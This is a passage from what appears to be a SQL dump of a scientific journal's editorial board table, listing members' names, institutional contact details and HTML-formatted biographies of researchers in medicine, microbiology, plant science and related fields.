mellitus), maternal hypothyroidism and hyperthyroidism effects on fetuses and offspring, obesity, carcinogenesis, drug-induced toxicity, rheumatoid arthritis, hyperoxaluria, hyperhomocysteinemia, and assessment of medicinal plant and their constituents as well as novel synthetic organic compounds as protective, preventive and therapeutic remedies.</span></p>\r\n',1,'2019-01-06 09:38:35','2019-01-06 09:38:35',1),(398,23,20,'1546748540.jpg','Aliyu Adamu','aliyu.adamu.12@aberdeen.ac.uk','+2348036390188','Department of Microbiology, Faculty of Science','Editorial board member','Nigeria','Kaduna State University','17','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Aliyu Adamu is a lecturer and researcher at the Department of Mcrobiology, Kaduna State University, Kaduna, Nigeria. After receiving his B.Sc. (Hons 2:1) in Microbiology from Bayero University Kano, Nigeria in 2010, Dr. Aliyu proceeded to the University of Aberdeen, Scotland, UK to obtain his M.Sc. in Medical Molecular Microbiology and Immunology. He carried out his M.Sc. project under the supervision of Dr. Karen P. Scott with whom he successfully determined an alternative way of detecting mosaic tetracycline resistant genes under a project entitled &ldquo;alternative methods to differentiate tetracycline resistance genes in gut microorganisms&ldquo;, and graduated with commendation in 2014. Dr. Aliyu did his Ph.D. at Universiti Teknologi Malaysia, Under the supervision of Prof. Fahrul Huyop, where they computationally characterised at molecular level, an L-2-haloacid dehalogenase (DehL). Dr. Aliyu has over five years research experience in Computational Biology and Bioinformatics and he authored over 10 peer-reviewed reports in world class reputable journals, which among others include Journal of Biomolecular Structure &amp; Dynamics, Future Microbiology, Computational Biology and Chemistry, and SpringerPlus. Currently Dr. Aliyu is working on novel antimicrobial drug targets.</span></p>\r\n',1,'2019-01-06 09:43:19','2019-01-06 09:52:20',1),(399,23,20,'1546748895.jpg','Anis Ben-Amar','anisbenamar.cbbc@gmail.com','00216. 26 478 256','Department of Plant Molecular Physiology','Editorial board member','Tunisia','Center of Biotechnology of Borj Cedria','18','<p style=\"margin-right:.05pt; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Anis Ben-Amar is an Assistant Professor in Plant Tissue Culture &amp; Molecular Physiology at the Center of Biotechnology of Borj Cedria (TUNISIA). After a Licence in Life Science, he was awarded by a presidential prize of knowledge in 1999. He then started a Master in plant biotechnology and obtained his PhD in biology at the Faculty of Science of Tunis, University El-Manar where he gave lectures in plant cell biology, tissue culture and morphogenesis, cellular and molecular physiology. During his research work, he has got several fellowships for a scientific stay in Germany (2004-2007) at the Center for Green Technology (Zentrum Grune Genetechnik, Neustadt/Weinstr.) as well as at AgroScience.GmbH, AlPlanta-Institute for Plant Research in the field of plant genetic engineering. He was invited as speaker and supervisor of the Grapevine Transformation Technologies-COST858 held in Germany. Since 2007, he was affiliated with the Department of Plant Molecular Physiology at the Center of Biotechnology, Science and Technology Park of Borj Cedria in the south of Tunis City. </span></p>\r\n\r\n<p style=\"margin-right:.05pt; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">His research focus on development of plant transformation and regeneration, establishment of transient gene expression systems as tools for functional analysis, establishment of advanced PCR-based methods for molecular identification/screening, characterization of salt and drought-responsive genes for genomics studies, investigation in plant cell physiology and plant signaling. He is currently developing reverse genetics tools such as virus-induced gene silencing vectors to study salt stress tolerance. Most of studies were carried out on grapevine, barley and model tobacco and tomato plants. Recently, he is serving as guest editor, associate editor and member of reviewer panel in many peer-reviewed international journals. He is actually coordinator/principal investigator of bilateral scientific projects in cooperation with DLR-Reinpfalz (Germany) and other countries on functional genomics related to plant stress tolerance (2016-2018). He has more than 15 referred papers, 1 book, 1 special issue, 2 book chapters, along with a number of international conferences, communications and proceedings. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><u>Research interests</u></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Genetic transformation and plant regeneration, Molecular screening of microorganisms, Cell biology, Transient expression systems, Virus-induced gene silencing, Plant physiology and biochemistry, Plant functional genomics</span></p>\r\n',1,'2019-01-06 09:58:15','2019-01-06 09:58:15',1),(400,28,20,'1548054272.jpeg','Richard Kones','medkones@gmail.com','1.713.790.9100','Departments of Physiology and Surgery','Editorial board member','USA','Cardiometabolic Research Institute','05','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Richard Kones MD, PhD began as a mathematically inclined chemical engineer, and then attended NYU School of Medicine in a special pilot program. Inspired by a mentor in the Physiology department, he conducted independent research studying aldosterone with a novel technique, and became a full member of the New York Academy of Sciences while still in medical school. He completed training in New York and continued a NIH Fellowship in cardiology at Tulane University School of Medicine, also working at the Charity Hospital and Veterans Administration Hospital in New Orleans. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">He returned to New York Medical College to continue researching actions of inotropic agents, myocardial function, preservation of ischemic myocardium, and cardiogenic shock, eventually relocating in Texas. An avid supporter of applications of biochemistry and physiology, he continued teaching and publishing, emphasizing translational research. In addition to presentations, lectures, has mentored medical students and house staff at several medical schools and affiliated hospitals. His interests gradually turned to the role pathological signaling plays in the pathogenesis of atherothrombosis, especially the interaction of inflammatory mechanisms, endothelial dysfunction, mitochondrial involvement in disease, lipid metabolism, metabolic syndrome and related evidence-based interventions to improve clinical outcomes. Fundamental mechanisms and molecular and cellular cardiology have been central to his work, as well as the practical aspects of how simple lifestyle and dietary changes may be powerful tools to minimize risk factors. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">During the course of his academic career he has received several scholarships, awards, and grants. His work includes over 125 publications in peer-reviewed medical journals, 6 books, presentations, and lectures. He serves on a number of committees in various medical organizations, peer reviews for over 190 medical journals, many repeatedly, and volunteers for the mentoring programs in the American Society for Clinical Pharmacology and Therapeutics, American Heart Association, National Lipid Association and Endocrine Society. Over the years Dr. Kones&rsquo; biography has appeared in a number of editions of Who&rsquo;s Who and other biographical registries. At its inception, he was appointed one of the founding editors of Medpedia online, a collaborative educational project among several medical schools, and served as a Board Member of the Committees on Cardiovascular Disease, Internal Medicine, and Nutrition of the Medpedia project. Currently he is Editor-in-Chief of Research Reports in Clinical Cardiology and sits on the Editorial Boards of other journals. With a broad based scholarly background in medicine, Dr. Kones brings vast clinical, investigative, academic, and editorial expertise to this journal. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">He is a Fellow of the American Heart Association, European Society of Cardiology, Royal Society of Medicine, the New York Cardiological Society, now merged with the New York Chapter of the American College of Cardiology, the Royal Society of Public Health, the Royal Society of Biology and is a Founding Fellow of the American Geriatrics Society. He is a member of the European Society of Cardiology Council for Cardiology Practice, European Heart Rhythm Association, ESC Acute Cardiovascular Care Association, European Association of Percutaneous Cardiovascular Interventions, European Association of Cardiovascular Imaging, the Heart Rhythm Society, and the Heart Failure Association. Dr. Kones is an emeritus member of the American Physiological Society, a member of The Physiological Society in London, as well as the International Union of the Physiological Sciences. He is also a member of several Councils in the American Heart Association, the American Society for Clinical Pharmacology and Therapeutics, a Fellow of the American College of Pharmacology, and Fellow in both the American College of Angiology and International College of Angiology. His other affiliations include the Society for Critical Care Medicine, European Atherosclerosis Society, International Atherosclerosis Society, American Society for Hypertension, National Lipid Association, American Association of Cardiovascular and Pulmonary Rehabilitation, American Society for Preventive Cardiology, Society of Atherosclerosis Imaging and Prevention, World Heart Federation, International Society for Heart Research, Heart Failure Society of America, American Diabetes Association, Endocrine Society, American Thoracic Society, Inflammation Research Association, and the Metabolic Syndrome Institute (Fr). He has also been a long-standing active member of the French Society of Cardiology and other notable scientific organizations and working groups. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">The American Physiological Society has recognized Dr Kones for sustained years of active service, as did the American College of Sports Medicine with a commemorative award.&nbsp; He is a supporter of, and volunteer in, the American Heart Association&rsquo;s Advocacy Program. Finally, Dr. Kones has been active in the nutrition community, having been member and serving on committees, councils, sections, and working groups in The Nutrition Society (London), American Society of Nutrition, American College of Nutrition (Fellow) and International College of Nutrition (Fellow).</span></span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Interests:</span></span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Use of PCI vs CABG in multivessel coronary disease; cardiovascular risk including diabetes type 2, hypertension, dyslipidemia, obesity, and metabolic syndrome; inflammation, molecular and oxidative mechanisms, myocardial energetics and mechanics, biomarkers, newer methods of treatment especially PCSK-9 inhibitors, anti-diabetes drugs with cardiovascular prevention potential, optimizing patient outcomes, risk assessment and reduction, statin and non-statin drugs, achievement of lifestyle and therapeutic goals, and public health policies in nutrition and physical activity. Other interests include translation of basic and clinical science to prevention to decrease individual suffering, increase well-being, and lower prevalence, morbidity and mortality of chronic diseases, including psychosocial aspects of social determinants of health, health inequities and disparities.</span></span></p>\r\n',1,'2019-01-21 12:34:32','2019-01-21 12:34:32',1),(401,26,20,'1548054824.jpg','Dr Rajesh Rajan','cardiology08@gmail.com','','President of the Indian Association of Clinical Cardiologists','Editorial board member','Kuwait','Al-Amiri Hospital','16','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dr. Rajesh Rajan</strong> MD, Ph.D, FRCP(UK), FRCP (Ire), FACC, FESC, FAHA is the current President of the Indian Association of Clinical Cardiologists. He has been the recipient of several distinguished fellowships, including those from the Royal College of Physicians UK&amp;Ireland, European Society of Cardiology, American College of Cardiology, and American Heart Association. Dr Rajan has been in charge of various clinical research registries in heart failure and authored several publications. He is actively involved in various global forums and committees in the field of cardiology. He currently works at Sabah Al-Ahmad Cardiac Center, Al-Amiri Hospital.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:red\">Research Interest:</span></strong> Heart Failure <strong><u><span style=\"color:#4472c4\">&amp;</span></u></strong> Cardio Renal Anemia Syndrome </span></p>\r\n',1,'2019-01-21 12:43:43','2019-01-21 12:43:43',1),(402,23,20,'','Jianping Wang','wangjp@ufl.edu','352-273-8104','Department of Agronomy; Genetics Institute; Plant Molecular and Cellular Biology Program 337 Cancer & Genetics Research Complex','Editorial board member','USA','University of Florida','18','',1,'2019-01-21 14:25:25','2019-01-21 14:25:25',1),(403,23,20,'1548061395.jpg','Li Li','lili1984@zju.edu.cn','(86) 571 88981885','College of Biosystems Engineering and Food Science','Editorial board member','China','Zhejiang University','19','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Li Li serves as a young scientist assigned to the College of Biosystems Engineering and Food Science, Zhejiang University, China. Dr. Li develops, evaluates, validates, and transfers the food preservative and processing intervention technologies (such as controlled and modified atmospheres) to enhance the physiological and flavor quality of fresh fruits and vegetables. Dr. Li works in the area of food proteomics and transcriptomics, develops/elucidates the food metabolic networks, and evaluates the proteome and transcriptome in response to abiotic stress stimuli (such as temperature, humidity, exogenous gas). Dr. Li investigates all aspects of quality traits (appearance, texture, nutritional, chemical and sensorial quality) and develops innovative approaches to minimize postharvest loss of fresh products.</span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\">Accomplishments:</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Li has authored and co-authored over 60 scientific publications, which consist of over 40 peer?reviewed research articles to date. Dr. Li has been obtained 13 Ministerial and Provincial-Level Science and Technology Awards and she has presided/participated in 25 research projects in the last eight years. Dr. Li and her team members have applied 16 Chinese and International patents. Dr. Li has established an internationally recognized research program in the area of fruit postharvest and has made several high impact contributions to the field of the research.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Li obtained the funding from National Natural Science Foundation of China (NSFC), Natural Science Foundation of Zhejiang Province, and the China Postdoctoral Science Foundation.</span></p>\r\n',1,'2019-01-21 14:33:14','2019-01-21 14:33:14',1),(404,31,20,'1548061915.jpg','Manuel Moya-Ramon','mmoya@umh.es','+34 965222046','Contracted Professor Doctor','Editorial board member','Spain','Miguel Hernández University of Elche','21','',1,'2019-01-21 14:41:55','2019-01-21 14:41:55',1),(405,31,20,'1548062299.jpg','Giuseppe Lanza','glanza@oasi.en.it','+39 095 3782448','Department of General Surgery and Medical-Surgical Specialties','Editorial board member','Italy','University of Catania','22','<p><span style=\"font-family:Times New Roman,Times,serif\">I was born in Catania (Italy) in 1982. I currently work as Senior Academic Researcher at the University of Catania (Italy). After graduation with honours in Medicine, I trained at the School of Neurology and I got the international PhD at the University of Catania (Italy). As visiting Clinical Research Fellow, I further trained at the Department of Neuroscience, Newcastle University (UK). In 2013 I was selected for a Scientific Fellowship promoted by the European Federation of Neurological Societies (EFNS). From 2013 to October 2018 I worked as Consultant Neurologist at the Oasi Research Institute &ndash; IRCCS in Troina (Italy), which is a Collaborating Center of the World Health Organization (WHO). From 2015 to October 2018, I taught Neurology at the Kore University of Enna (Italy). I have authored approximately 90 publications in international refereed Journals and Conferences/Meetings, and I also serve as Editor and invited Reviewer of several international Journals. More recently, I also obtained the Master of Science (Level I) in Clinical Research, as well as the National Scientific Qualification as Associate Professor (procedure for the Italian University Professor position recruiting, based on scientific qualification criteria).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I would like to become an Editor for a number of reasons. First, given its influential role within the international network in this topic, the Journal represents an outstanding chance to get connected with other clinicians and researchers from other countries. Second, an Editor can always be updated in a wide variety of &ldquo;hot topics&rdquo;, including cutting-edge topics and innovative therapies. Third, this position may provide the opportunity to advance scientific and academic career. Finally, as part of a dynamic international community, an Editor can reach a global audience to present any research or scientific achievement.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In conclusion, given my background and clinical/research interests, I would be honoured and delighted to join you as Editorial Board member and to contribute to the high scientific and academic level of Journal.</span></p>\r\n',1,'2019-01-21 14:48:19','2019-01-21 14:48:19',1),(406,27,20,'','Anthony Au Zian Liang','auzlanthony@gmail.com','+6016-9357185','RESEARCH SCIENTIST','Editorial board member','Malaysia','Universiti Sains Malaysia','17','',1,'2019-01-21 14:56:08','2019-01-21 14:56:08',1),(407,22,20,'1548063211.jpg','Ilaria Cacciotti','ilaria.cacciotti@unicusano.it','','Associate Professor','Editorial board member','Italy','University of Rome Niccolò Cusano','10','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:&nbsp;</strong>Tissue Engineering; Regenerative Medicine; Bone Tissue Engineering; Scaffold; Synthesis Of Inorganic Nanoparticles; Bioceramics; Calcium Phosphates; Bioactive Glasses; Biopolimers; Hydrogels; Biomolecules; Antioxidants; Antimicrobial Agents; Coatings; Composite Films; Fibrous Mats; Macro- And Micro-Spheres; Wet Precipitation; Sol-Gel Process; Dip-Coating; Solvent Casting; Electrospinning Technique; Cross-Linking; Emulsion; Drug Delivery; Cell Encapsulation; Functionalisation; Thermal Properties; Mechanical Properties; FT-IR Spectroscopy; X-Ray Diffraction; Rheology; Optical And Electronic Microscopies.</span></p>\r\n',1,'2019-01-21 15:03:31','2019-01-21 15:03:31',1),(408,39,20,'1549867887.jpg','Ahmed Moussa','moussa7014@yahoo.fr','21365234059','Professor','Editorial board member','Algeria','Institute of Veterinary Sciences, University Ibn-Khaldoun','03','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dr.</strong> Moussa Ahmed is a medical microbiologist by profession. . He obtained his PhD&nbsp;&nbsp;&nbsp; degree from Mostaganem University Algeria.He ison the editorial board of many international medical and scientific journals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest</strong>: Phytotherapy, Aromatherapy, Apitherapy, Medical microbiology.</span></p>\r\n',1,'2019-02-11 12:21:26','2019-02-11 12:21:26',1),(409,39,20,'1549868493.jpg','Robel Mekonnen Yimer ','robelmekonnen@gmail.com','251913278009 ','Lecture and Researcher ','Editorial board member','Ethiopia','Dire Dawa University','03','<p><span style=\"font-family:Times New Roman,Times,serif\">I am Robel Mekonnen Yimer, an energetic and competent lecturer of Medical Microbiology. I am keen and indefatigable researcher, possessing genuine zeal for reviewing and conducting health related research in the area of infectious diseases and drug resistance, in particularly, and public health related problems, in general. I have a strong sense of responsibility in the given activities and strives hard to do my best.</span></p>\r\n',1,'2019-02-11 12:31:32','2019-02-11 13:00:22',1),(410,39,20,'1549868908.jpg','Igor Klepikov','igor.klepikov@yahoo.com','(206)920-9643 ','Retired','Editorial board member','USA','Dana Children’s Hospital, Sourasky Medical Center','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Igor Klepikov was born and studied in the USSR.Pediatric surgeon of the highest qualification in Russia and Israel with experience of over 40 years,MD,professor.Currently retired,lives with his family in the Israel.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The paradox of the scientific career of a highly qualified pediatric surgeon in Russia and Israel is that the most impressive results have been achieved in the non-surgical section of medicine.Work in the Siberian clinic of pediatric surgery is the responsibility of treatment of children with the most aggressive forms of acute pneumonia at an early stage of the disease.The high concentration of such patients (up to 10 and more at the same time), the rapid development of purulent complications and high mortality (up to 10% or more) are forced to look for ways to solve this problem. Doubts about the high virulence of the pathogens as the only cause of complications, as well as the use of the results of classical studies allowed the author to create an original conception of the pathogenesis of acute pneumonia and its complications.A new scientific understanding of the dynamics of the inflammatory process in the lungs under the influence of various methods of treatment has allowed to achieve impressive results and to declare a guaranteed prevention of purulent complications. Time has shown that the results obtained by the author remain relevant and can help in solving this problem.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>RESEARCH </strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">-Experimental works on animals (rabbits, dogs, pigs) including different operations and modeling of acute pneumonia and its destructive and purulent complications </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;-Biochemical, laboratory and coagulate research of peripheral and central blood, including difference between arterial and venous systems </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">-A comparative study of the effectiveness of various methods of treatment of acute pneumonia</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">-Roentgeno-anatomical study of the blood vessels of the pulmonary circulation in various forms of acute pneumonia</span></p>\r\n',1,'2019-02-11 12:38:27','2019-02-28 11:51:51',1),(411,39,20,'1549869314.jpg','Dr. Shivaji K Jadhav','Shivaji.jadhav@lilacinsights.com','9152096823','Scientific Officer, Molecular Oncology Department','Editorial board member','India','NIRRH (University of Mumbai)','06','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr Shivaji K Jadhav completed his graduation in Microbiology and Post graduation in Biotechnology from Karnataka University and further he completed PhD in Biochemistry (Molecular HIV Virology) from University of Mumbai and He has carried out his molecular Virology research at National Institute for Research in Reproductive Health [NIRRH] a premier Indian Council of Medical Research, (ICMR) Institute in Mumbai.</span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#001320\">Presently he is working at Lilac Insights Private Limited as Scientific Officer &ndash; F in Department of Molecular Oncology and the lab is fully equipped with state of art of facility to carry out Onco Molecular test Panels for Haematological malignancies and Solid Tumors with advanced sequencing technologies, Before Joining Lilac, Dr Shivaji was working at Head of Laboratory Operations at Mapmygenome and Co.Head of Infectious Disease at Sandor Life sciences. He has also worked as Senior Scientist C at NIMR, Indian Council of Medical Research, (ICMR ) Goa in project &ldquo;Malaria Evolution in South Asia&rdquo; funded by National Institute of Health and International Centre of Excellence for Malaria Research, (ICEMR) National Institute of Allergy and Infectious diseases (NIAID) USA. He has worked with team of scientists at NIMR on Vectors, infection rate, vector competency and host Pathogen interaction in malaria. He has been awarded with Prestigious Fogarty International HIV/AIDS Training and Research Fellowship programme from National Institute of Health, USA, He has been trained in Advance Molecular Virology techniques, HIV Drug Resistance, True Gene Sequencing and Mucosal Transmission of HIV and genetic diversity at Boston School of Medicine and Harvard Medical School,USA. He was mentored under the guidance of Dr Deborah Anderson and Dr Manish Sagar. He has total fourteen years of experience in the area of Molecular Diagnostics, Virology and Infectious Diseases; He has been awarded with thirteen International young Scientist Awards, Global Health, International Travel grants and Scholarships.</span></span></span></p>\r\n',1,'2019-02-11 12:45:14','2019-02-11 12:49:46',1),(412,39,20,'1549870159.jpg','Patrick Genyan Yang','gYang@cdc.gov','404-639-2832','Centers for Disease Control and Prevention','Editorial board member','USA','Centers for Disease Control and Prevention','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Yang received his medical training in Clinical Pathology and Laboratory Medicine from 1988 to 1993. &nbsp;Dr. Yang was interested in molecules mechanisms in disease onset, progress and recovery, which brought him into the field of molecular biology. Dr. Yang obtained his PhD degree in Molecular Biology and Biochemistry in 2001, focusing on transcriptional regulation of gene expression and biomarkers involved in spermatogenesis and progression of prostate cancer and leukemia. In 2016, Dr. Yang joined the Centers for Disease Control and Prevention (CDC), where he has been working on surveillance and diagnosis of infectious diseases, including upper respiratory infections with bacterial and viral agents, emerging zoonotic influenza viruses that have potential to spill over to humans.</span></p>\r\n',1,'2019-02-11 12:58:46','2019-02-11 12:59:19',1),(413,39,20,'1549875303.jpg','Paul Quinn','paul.quinn@vub.ac.be',' (+32) 471-458267','Research (Guest) Professor ','Editorial board member','Belgium','Brussels Free University (VUB)','05','<p><span style=\"font-family:Times New Roman,Times,serif\">At present I am an research (guest) professor at the Brussels Free University (VUB). I have worked in such a capacity for the last two years since finishing my PhD. In this time I have continued my professional interest in the use of health data for healthcare and research purposes and have accordingly published a number of times on such issues. I have also worked as the research director of the Brussels Privacy Hub where I have engaged in research and collaboration on such issues in addition to conducting a number of research visits at other institutions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">My background is of a multi disciplinary nature, something evidenced very much by my PhD (about to be published as a monograph) which concerned not only issues of privacy and data protection but also psychology, natural sciences and political studies. Furthermore, in addition to my legal degrees I also have a BSc in Biochemistry, something that has, and will provide me with a multidisciplinary insight ranging from legal issues through to, and including those rooted in the biological sciences. Bringing together thought and research from such strands has been something I enjoyed very much and something I would like to continue in the future.</span></span></p>\r\n',1,'2019-02-11 13:09:21','2019-02-11 14:25:03',1),(414,22,20,'','Ramandeep Singh','drramandeep@outlook.com','','Consultants','Editorial board member','India','East and North Hertfroshire Nhs Trust Lister Hospital','11','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">As a clinical fellow I work at middle grade (ST3+) level to help the orthopaedic teams in managing both elective and emergency patients. I work alongside Consultants, Foundation doctors, specialty trainees and clinical fellows in managing patients from the time of their admission, throughout their treatment, to the time of their discharge. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Patients are needed to be seen on daily ward rounds. I also work under Consultant supervision in fracture and elective orthopaedic clinics to provide outpatient care. </span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">I had worked mostly in Upper limb speciality which increased my experience in Arthroscopic procedures and Arthroplasty.</span></span></p>\r\n',1,'2019-02-13 17:08:11','2019-02-13 17:08:11',1),(415,15,20,'1550058356.png','Alfio Ferlito','alfio.ferlito@uniud.it','39 049 8686058','Department of Surgical Sciences','Editorial board member','Italy','University of Udine School of Medicine','25','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Formerly Director of the Department of Surgical Sciences at the University of Udine School of Medicine from 2003 to 2009 and Professor and Chairman of the ENT Clinic at the same University from 1997 to 2013. He graduated in medicine at the University of Bologna in 1968. He completed his residence programme in otolaryngology and subsequently in pathology. He worked at the ENT Department of&nbsp;&nbsp; Padua University from 1970 to 1997. Since 2009 he is the Coordinator of the International Head Neck Scientific Group (www.IHNSG.com).</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Professor Ferlito has collaborated in writing articles, editorials, commentaries, Consensus statement Consensus statementconsensus statements, letters to the editor, special issues, book chapters and books with 669 international experts. He has edited a three-volume book entitled <em>Cancer of the Larynx</em> (CRC Press, Boca Raton, 1985) and three other books entitled <em>Neoplasms of the Larynx</em> (Churchill Livingstone, Edinburgh, 1993), <em>Surgical Pathology of Laryngeal Neoplasms</em> (Chapman and Hall, London, 1996) and <em>Diseases of the Larynx</em> (Arnold, London, 2000), and co-authored two books entitled <em>Granulomas and Neoplasms of the Larynx</em> together with Professor Imrich Friedmann (Churchill Livingstone, Edinburgh, 1988) and <em>Surgery for Cancer of the Larynx and Related Structures</em> together with Dr. Carl E. Silver (Saunders, Philadelphia, 1996). He is editor with Dr. Marvin P. Fried of the third edition of a two-volume book entitled <em>The Larynx </em>(Plural Publishing, San Diego, 2009) and with Drs. K. Thomas Robbins and Carl E. Silver of the book entitled <em>Neck Dissection - Management of Regional Disease in Head and Neck Cancer</em> (Plural Publishing, San Diego, 2010). He is Editor of four issues of <em>ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery.</em> Professor Ferlito has been author or co-author of 660 referred publications in 70 medical journals and 54 chapters in various books.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">He serves/served as editor, co-editor, assistant editor or reviewer for the following 742 journals: <em>The Lancet; The Lancet Oncology; Advanced Drug Delivery Reviews; </em><em>Nature Communications; </em><em>Nature Clinical Practice Oncology;</em> <em>Human Molecular Genetics;&nbsp; Clinical Cancer Research; BMC Medicine; Cancer; Acta Biomaterialia; </em><em>Clinical Epidemiology; </em><em>European Journal of Cancer; </em><em>International Journal of Cancer; </em><em>Expert Review of Molecular Diagnostics; </em><em>Biomarkers in Medicine; </em><em>Modern Pathology; <span style=\"color:black\">Molecular Carcinogenesis; Oncotarget; </span>Annals of Surgical Oncology;</em><em> Surgical Endoscopy; Cellular Physiology and Biochemistry; British Journal of Cancer; </em><em>FEBS Journal;</em><em> Radiotherapy and Oncology; Investigational New Drugs; </em><em>Thyroid; <span style=\"color:black\">Cancers; </span></em><em>Journal of Pathology Research; Epigenomics; </em><em>Journal of the American College of Surgeons; Oral Oncology; European Journal of Surgical Oncology -The Journal of Cancer Surgery; European Journal of Endocrinology; Histopathology; Journal of the European Academy of Dermatology and Venereology; Head and Neck; <span style=\"color:black\">Expert Opinion on Pharmacotherapy; PLOS ONE; </span></em><em><span style=\"color:black\">Future Oncology; </span></em><em>Pediatric Infectious Disease Journal; </em><em>Journal of Cancer Research and Clinical Oncology;</em> <em>International Journal of Molecular Sciences;</em> <em>Cancer Chemotherapy and Pharmacology; Biotechnic &amp; Histochemistry; Journal of Surgical Oncology; Histology and Histopathology; Respiratory Medicine; Experimental and Molecular Pathology;</em> <em>Immunotherapy;</em><em> Translational Oncology; Oral Diseases; </em><em>Cancer Medicine;</em><em> </em><em><span style=\"color:black\">BioMed Research International;</span></em><em> </em><em>Cell Biology International; </em><em>Anti-Cancer Drugs; Cell Biochemistry &amp; Function; Radiation Oncology; Future Virology; Langenbeck&#39;s Archives of Surgery; Expert Review of Anticancer Therapy; Journal of Neuroscience Methods; American Journal of Rhinology; Oncology; Cancer Detection and Prevention Journal; Expert Review of Gastroenterology &amp; Hepatology; Gene; Evidence-Based Complementary and Alternative Medicine; International Journal of Experimental Pathology; BMJ Open; </em><em>Clinical Interventions in Aging; </em><em>The Laryngoscope; PeerJ; International Journal of Computer Assisted Radiology and Surgery; Journal of Experimental and Clinical Cancer Research; </em><em>Drug Delivery;</em><em> BMC Health Services Research;&nbsp; Archives of Otolaryngology-Head and Neck Surgery; Virchows Archives; Journal of Voice; <span style=\"color:black\">Journal of Allergy &amp; Therapy</span> Current Opinion in Otolaryngology and Head and Neck Surgery; Clinical Otolaryngology; Clinical and Experimental Dermatology; Intervirology; Otolaryngology-Head and Neck Surgery; British Journal of Oral and Maxillofacial Surgery; European Journal of Internal Medicine; Journal of Geriatric Oncology; <span style=\"color:black\">Journal of Oral and Maxillo-Facial Surgery;</span> <span style=\"color:black\">OncoTargets and Therapy; </span>Cancer Biomarkers; European Archives of Oto-Rhino-Laryngology and Head &amp; Neck; </em><em>Archives of Otorhinolaryngology-Head &amp; Neck Surgery; </em><em>Patient Preference and Adherence; Therapeutics and Clinical Risk Management; Journal of Investigative Surgery; American Journal of Otolaryngology; Annals of Otology,&nbsp; Rhinology and Laryngology; Acta Otolaryngologica; Tissue and Cell; ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery; Med One; Health; Folia Phoniatrica et Logopaedica; <span style=\"color:black\">Journal of Cytology &amp; Histology; </span>Advances in Therapy; Journal of Laryngology and Otology;</em> <em>Expert Review of Quality of Life in Cancer Care; Personalized Medicine; <span style=\"color:black\">Ophtalmic Plastic and Reconstructive Surgery; Acta Odontologica Scandinavica; </span>Yonsei Medical Journal; Auris Nasus Larynx; Journal of Otolaryngology <span style=\"color:black\">- Head and Neck Surgery</span>; <span style=\"color:black\">Journal of Cancer Therapeutics &amp; Research; </span>Ear, Nose and Throat Journal; African Journal of Pharmacy&nbsp; and Pharmacology; Clinical and Experimental Otorhinolaryngology; Journal of Analytical Oncology; Head and Neck Oncology; Operative Techniques in Otolaryngology-Head and Neck Surgery; Surgical Laparoscopy, Endoscopy &amp; Percutaneous Techniques; Journal of Medical Speech-Language Pathology; Journal of Cytology; ORL Update; Biomedical Research<span style=\"color:black\">; </span>&nbsp;Otolaryngology Journal Club Journal; Otorhinolaryngologica Nova; International Archives of Otorhinolaryngology; Indian Journal of Otology; Anales Otorrinolaringol&oacute;gicos del Per&uacute;; Applied Pathology; Head and Neck 